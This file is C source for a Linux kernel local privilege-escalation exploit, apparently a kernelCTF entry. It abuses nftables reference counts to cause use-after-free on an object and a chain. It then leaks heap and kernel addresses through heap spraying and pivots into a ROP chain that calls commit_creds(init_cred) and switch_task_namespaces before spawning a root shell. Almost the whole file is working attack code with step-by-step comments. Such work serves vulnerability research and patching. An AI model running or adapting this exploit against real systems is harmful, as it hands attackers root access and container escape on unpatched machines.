#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#include "chain.h"
#include "rule.h"
#include "rop.h"

#define PIPAPO_SET_KEY_LEN 0x40
#define HASH_KEY_LEN 8
#define HASH_KEY_LEN_0X30 0x30
char *leak_data = NULL;
int table_num = 0;
uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;
int cur_handle = 0;
void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST 
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;//NFPROTO_IPV4
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST 
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

//This function is part of step 10 in `Leak info`
//In step 10, we can leak `object E ->ops` because we overwrite `(*nft_set_ext_obj(ext))->key` of `object F` by step 9.
int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);
    printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;
    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        printf("Get ops : %llx\n", *(uint64_t *)val);
        leak_ops = *(uint64_t *)val;
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

//This function is part of step 7 in `Leak info`
//After step 6, we can leak some data because we modify a setelement->udata_len. We can check the length of NFTA_SET_ELEM_USERDATA in the return to confirm whether setelement->udata_len has been modified.
int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;

    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]);
        if(udata_len > 0xb0){//when the len of NFTA_SET_ELEM_USERDATA != 0xa1, it means we get the leak set element
            //get leak
            printf("udata len : %d\n",udata_len);
            leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
        }
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

/*
 Spray the heap through the udata of nft_table. In nftables, when creating a table, 
 you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA 
 (the corresponding code is in the function nf_tables_newtable). 
*/


void spray_tables(struct nl_sock * socket, int count, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<count;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}


//make target_obj->use = target_obj->use - repeat_time

void primitive_decrease_nft_object_use(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    int i,j;
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
    char *key = malloc(PIPAPO_SET_KEY_LEN);
    char *set_name = "set for primitive0";
    char *chain_name = "chain for primitive0";
    msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT);
    for(i=0;i<repeat_time;i++){ 
	*(uint64_t *)key = i;
	//len(NFTA_SET_ELEM_USERDATA) = 0xc0 There is no special meaning here.
	//len(NFTA_SET_ELEM_KEY)=PIPAPO_SET_KEY_LEN because the set created in msg_list[0] decide it
	//expiration_time = 0x0100000000000000 which will be convert to 1 in kernel
	msg_list[i+1] = new_setelem_with_expiration_msg(table, set_name, pad, 0xc0, target_obj, key, PIPAPO_SET_KEY_LEN, NULL, 0, 0,0x0100000000000000);
    }    
    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);//if_binding=0
    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 0);//if_dreg=0, do not set NFTA_LOOKUP_DREG
    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
    send_msg_list(socket, msg_list, repeat_time+4);
    
    free(msg_list);
    free(pad);
}

//make target_chain->use = target_chain->use - repeat_time

void primitive_decrease_nft_chain_use(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    int i,j;
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
    char *set_name = "set for primitive1";
    char *chain_name = "chain for primitive1";
    char *key = malloc(PIPAPO_SET_KEY_LEN);
    msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, PIPAPO_SET_KEY_LEN);
    for(i=0;i<repeat_time;i++){
        *(uint64_t *)key = i;
	//len(NFTA_SET_ELEM_USERDATA) = 0xc0 There is no special meaning here.
	//len(NFTA_SET_ELEM_KEY)=PIPAPO_SET_KEY_LEN because the set created in msg_list[0] decides it
	//expiration_time = 0x0100000000000000 which will be convert to 1 in kernel
        msg_list[i+1] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, key, PIPAPO_SET_KEY_LEN, NULL, 0, 0,0x0100000000000000);
    }
    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);//if_binding=0
    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);//if_dreg=1, set NFTA_LOOKUP_DREG
    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
    send_msg_list(socket, msg_list, repeat_time+4);

    free(msg_list);
    free(pad);
}


void leak_and_prepare_rop(struct nl_sock *socket){
    int i;
    char *pipapo_set = "set pipapo for leak";
    char *hash_set = "set hashtable for leak";
    char *hash_set_2 = "set hashtable 2 for leak";
    char *obj_f = "obj_for_leak_32";//It's `object F` in exploit.md
    char *obj_for_leak = "obj_for_leak_a";
    char *table = "table for leak";
    new_table(socket, table);
    new_obj_ct_expect(socket, table, obj_for_leak, NULL, 0);
    
    new_set_pipapo(socket,table, pipapo_set, PIPAPO_SET_KEY_LEN, NFT_OBJECT_CT_EXPECT);
    new_set_hashtable_with_map(socket, table, hash_set, HASH_KEY_LEN);
    new_set_hashtable(socket, table, hash_set_2, NFT_OBJECT_CT_EXPECT, HASH_KEY_LEN);
    char *key = malloc(PIPAPO_SET_KEY_LEN);
    char *key_end = malloc(PIPAPO_SET_KEY_LEN);
    uint64_t hash_key;
    
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    
    //step 1
    //Create many objects first.(`object A`,`object B`,...,in exploit.c, it's `"obj_for_leak_0"`,`"obj_for_leak_1"`...).Their size is 0xcc and they use kmalloc-256.
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    
    for(i=0;i<0x40;i++){
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        new_obj_ct_expect(socket, table, obj_name, NULL, 0);
    }
    //step 2
    //Create 0xa4 set elements wihch use one of the objects created in step 1. We assume we use `object F`(which is `obj_for_leak_32` here). Create another set element `element X` using `object F`(This set element will be used in step 10). After step2, we will set `object F->use = 0xa5`. `udata->size` must be 0xa0 because the size of the set elem created in step 5 needs to be the same as the size of the nft_object released in step 4.
    for(i=0;i<0xa4;i++){
    	memset(key,i,PIPAPO_SET_KEY_LEN);
        memset(key_end,i,PIPAPO_SET_KEY_LEN);
	//len(NFTA_SET_ELEM_USERDATA) = 0x100 , has no special meaning 
        new_setelem(socket, table, pipapo_set, pad, 0x100, obj_f, key, PIPAPO_SET_KEY_LEN, key_end, PIPAPO_SET_KEY_LEN, 0);
    }
    hash_key = 0xdeadbeef;
    //len(NFTA_SET_ELEM_USERDATA) = 0x100 , has no special meaning
    new_setelem(socket, table, hash_set_2, pad, 0x100, obj_f, &hash_key, HASH_KEY_LEN, NULL, 0, 0);//Here we create `element X`
    //step 3
    //Call `primitive_0` 0xa5 times, finally making `object F->use = 0`(which is `obj_for_leak_32->use = 0` here)
    primitive_decrease_nft_object_use(socket, table, obj_f, 0xa5);
    sleep(2);//Waiting the function nf_tables_commit which finally call nft_setelem_data_deactivate 
    
    //step 4
    //Delete `object F`, which is `obj_for_leak_32` here.
    del_obj(socket, table, obj_f, NFT_OBJECT_CT_EXPECT);
    sleep(2);//Waiting the function nft_commit_release which finally call nft_obj_destroy
    //step 5
    //Create many new set elements to get the heap of `object F`(which is `obj_for_leak_32` here) back. These new elements are carefully constructed so that the `len` field representing the length of `NFT_SET_EXT_USERDATA` is exactly at the position of `object F->use`. These new set elements will use `kmalloc-256`.
    for(i=0;i<0x1000;i++){
        *(uint64_t *)pad = i;
        hash_key = i;
	//len(NFTA_SET_ELEM_USERDATA) = 0xa1, decided by 0xa5 in step 3
        new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, HASH_KEY_LEN, NULL, 0,0);
    }
    //step 6
    //Delete all the set elements we created in step 2 except `element X`. After that we make one of the set element we create in step 5  `setelem->udata_len = 0xfc`(The original value is `0xa1-1=0xa0`)
    elem_flush(socket, table, pipapo_set);
    sleep(2);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy

    //step 7 Dump all the collection elements created in step 5. One of the elements will leak some useful heap addresses (because we read the next obj->list via heap out-of-bounds read). Now we will get the heap addresses of "object E" and "object G" (the objects created before and after "object F"(which is ``obj_for_leak_32` here))
    
    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    //function nl_callback_find_target_setelem will be called once we call nl_recvmsgs_default
    //check the api documents and the source code for details:
    //nl_socket_modify_cb:  https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448
    //nl_recvmsgs_default:  https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1
    //setup a callback function which will examine data to find the leaks from step 7
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    for(i=0;i<0x1000;i++){
        hash_key = i;
        get_setelem(socket2, table, hash_set, &hash_key, HASH_KEY_LEN);
        nl_recvmsgs_default(socket2);
        nl_recvmsgs_default(socket2);
    }
    uint64_t obj_e = *(uint64_t *)&leak_data[0xcb];//0xcb and 0xcb+8 are in the nft_obj->list.next and nft_obj->list.prev structures of the adjacent set elements created in step 5.
    uint64_t obj_g = *(uint64_t *)&leak_data[0xcb+8];
    printf("leak obj E heap : %llx\n",obj_e);
    printf("leak obj G heap : %llx\n",obj_g);
    
    //step 8 Delete all the set elements created in step 5 to free the heap of `object F`(which is `obj_for_leak_32` here) again.
    elem_flush(socket, table, hash_set);
    sleep(2);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
    *(uint64_t *)&pad[0x20] = obj_e + 0x80;// offset(object E->ops) = 0x80
    //step 9 Spray memory filled with `addressof(object E)+0x80` to get the heap of `object F`(which is `obj_for_leak_32` here) back again.
    spray_tables(socket,0x400, pad, 0xcc);
    printf("spray finish\n");
    hash_key = 0xdeadbeef;
    //function nl_callback_leak_ops will be called once we call nl_recvmsgs_default
    //check the api documents and the source code for details:
    //nl_socket_modify_cb:  https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448
    //nl_recvmsgs_default:  https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1
    //step 10
    //Dump set element `element X` created in step 2. We can leak `object E ->ops` because we overwrite `(*nft_set_ext_obj(ext))->key` of `object F`(which is `obj_for_leak_32` here) by step 9
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL);
    get_setelem(socket2, table, hash_set_2, &hash_key,HASH_KEY_LEN);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);
    printf("Leak end.\n");
    //step 11
    //Delete all the `nft_object` we created in step 1 and spray ROP gadget to get all the heap back. Now we get two pointers by step 7 pointed to our ROP gadget.
    printf("Start preparing ROP gadget in heap.\n");
    kernel_off = leak_ops - NFT_CT_EXPECT_OBJ_OPS; //nft_ct_expect_obj_ops
    char *ops = malloc(0x100);
    //ops->dump
    *(uint64_t *)&ops[0x40] = kernel_off + LEAVE_RET;
    //ops->type
    *(uint64_t *)&ops[0x70] = kernel_off + NFT_LAST_TYEP;//nft_last_type

    *(uint64_t *)&ops[0x08] = kernel_off + POP_RDI_RET;
    *(uint64_t *)&ops[0x10] = kernel_off + INIT_CRED;
    *(uint64_t *)&ops[0x18] = kernel_off + COMMIT_CREDS;
    *(uint64_t *)&ops[0x20] = kernel_off + POP_RDI_POP_R14_POP_R13_POP_R12_POP_RBP_POP_RBX_RET;
    *(uint64_t *)&ops[0x28] = 1;
    *(uint64_t *)&ops[0x58] = kernel_off + FIND_TASK_BY_VPID;
    *(uint64_t *)&ops[0x60] = kernel_off + POP_RBP_POP_RBX_RET;// because ops->0x70 is the last_type
    *(uint64_t *)&ops[0x78] = kernel_off + MOV_RDI_RAX_MOV_EAX_EBX_POP_RBX_OR_RAX_RDI_RET;
    *(uint64_t *)&ops[0x88] = kernel_off + POP_RSI_RET;
    *(uint64_t *)&ops[0x90] = kernel_off + INIT_NSPROXY;
    *(uint64_t *)&ops[0x98] = kernel_off + SWITCH_TASK_NAMESPACES;
    *(uint64_t *)&ops[0xa0] = kernel_off + SWAPGS_RET;
    *(uint64_t *)&ops[0xa8] = kernel_off + IRETQ;
    *(uint64_t *)&ops[0xb0] = (uint64_t)shell;
    *(uint64_t *)&ops[0xb8] = user_cs;
    *(uint64_t *)&ops[0xc0] = user_rflags;
    *(uint64_t *)&ops[0xc8] = user_rsp|8;//(You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
    *(uint64_t *)&ops[0xd0] = user_ss;
    //step 11
    //free the last object.
    for(i=0;i<0x40;i++){
	if(i==0x20)
		continue;
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        del_obj(socket, table, obj_name, NFT_OBJECT_CT_EXPECT);
    }
    //heap spray to fill target heap
    //sizeof(nft_obj) free in step11 = 0xe8
    spray_tables(socket,0x800, ops, 0xe8);
    printf("Finish prepare.\n");
    target_heap = obj_e;
}


void jmp_rop(struct nl_sock * socket){
    char *pipapo_set = "set pipapo for rop";
    char *hash_set_for_expr = "set hashtable for expr";
    char *table = "table for rop";
    char *target_chain = "chain for rop";
    int i;
    printf("start rop\n");
    new_table(socket, table);
    cur_handle = 0;
    //Step 1
    //Create a chain for ROP(`chain for rop`). The size is 0x78 and it uses kmalloc-128.
    new_chain(socket, table, target_chain, 0);
    
    new_set_pipapo_for_chain(socket, table, pipapo_set, PIPAPO_SET_KEY_LEN);// Here 0x40 has no special meaning. The old code is reused.
    new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, HASH_KEY_LEN_0X30, 0x10); //Here 0x30 has no special meaning. The old code is reused.But it will affect the pad_len parameter used when we call the new_setelem_with_expr_and_elemdata function in step 4, because we need to make the element size created in step 4 and nft_chain in the same cache (kmalloc-128). 
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);

    //step 2
    //Create 0x20 set elements wihch use `chain for rop` created in step 1. After step2, we will set `chain for rop->use = 0x20`
    
    char *pad = malloc(0x100); //Here 0x100 has no special meaning. The old code is reused.
    memset(pad,0x41,0x100);
    char *key = malloc(PIPAPO_SET_KEY_LEN);
    char *key_end = malloc(PIPAPO_SET_KEY_LEN);
    char *hash_key_48 = malloc(HASH_KEY_LEN_0X30);
    memset(hash_key_48, 0, HASH_KEY_LEN_0X30);
    
    for(i=0;i<0x20;i++){
    	memset(key,i,0x40);
	memset(key_end,i,0x40);
	//Here 0x100 has no special meaning.
	new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, PIPAPO_SET_KEY_LEN, key_end, PIPAPO_SET_KEY_LEN, target_chain);
    }
    
    //step 3
    //Call `primitive_1` 0x20 times, finally making `chain for rop->use = 0`
    
    primitive_decrease_nft_chain_use(socket, table, target_chain, 0x20);
    //step 4 
    //delete `chain for rop`
    //After that, we have UAF.
    del_chain(socket, table, target_chain);
    //step 5 
    //Create 0x1000 new set elements. These new elements are carefully constructed so that the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` is exactly at the position of `chain for rop->use`.
    *(uint64_t *)&pad[0] = target_heap;//expr->ops
    *(uint64_t *)&pad[8] = kernel_off + 0xFFFFFFFF81519693;//leave ; ret
    for(i=0;i<0x1000;i++){
    	*(uint64_t *)hash_key_48 = i;
	new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, HASH_KEY_LEN_0X30, NULL, 0);
    }
    
    //step 6
    //Delete all the set elements we created in step 2. The `chain->use` will be set to `0xfffffff0` from `0x10`, which means we change the `size` of `NFT_SET_EXT_EXPRESSIONS` of a set element which we created in step 5. We will change the `size` from `0x10` to `0xfffffff0`. Now we get a fake `nft_expr` expr[1]. We can fill the `ops` and the `data` of the fake expr in `NFTA_SET_ELEM_DATA`.
    elem_flush(socket, table, pipapo_set);
    
    //step 7
    //Dump all the set elements we create in step 5. Finally we will jmp to our ROP gadget because we fake the expr->ops in step 6
     
    for(i=0;i<0x800;i++){
        *(uint64_t *)hash_key_48 = i;
        get_setelem(socket, table, hash_set_for_expr, hash_key_48,HASH_KEY_LEN_0X30);
    }
    printf("end\n");
    while(1);
    
}

struct nl_sock * setup_nl_socket(){
    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
        printf("nfnl_connect fail!\n");
        return NULL;
    }
    return socket;
}

int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    pin_on_cpu(0);
    save_state();
    struct nl_sock * socket = setup_nl_socket();
    if(socket == NULL)
	    return 0;
    
    leak_and_prepare_rop(socket);
    jmp_rop(socket);
    
    return 0;
}
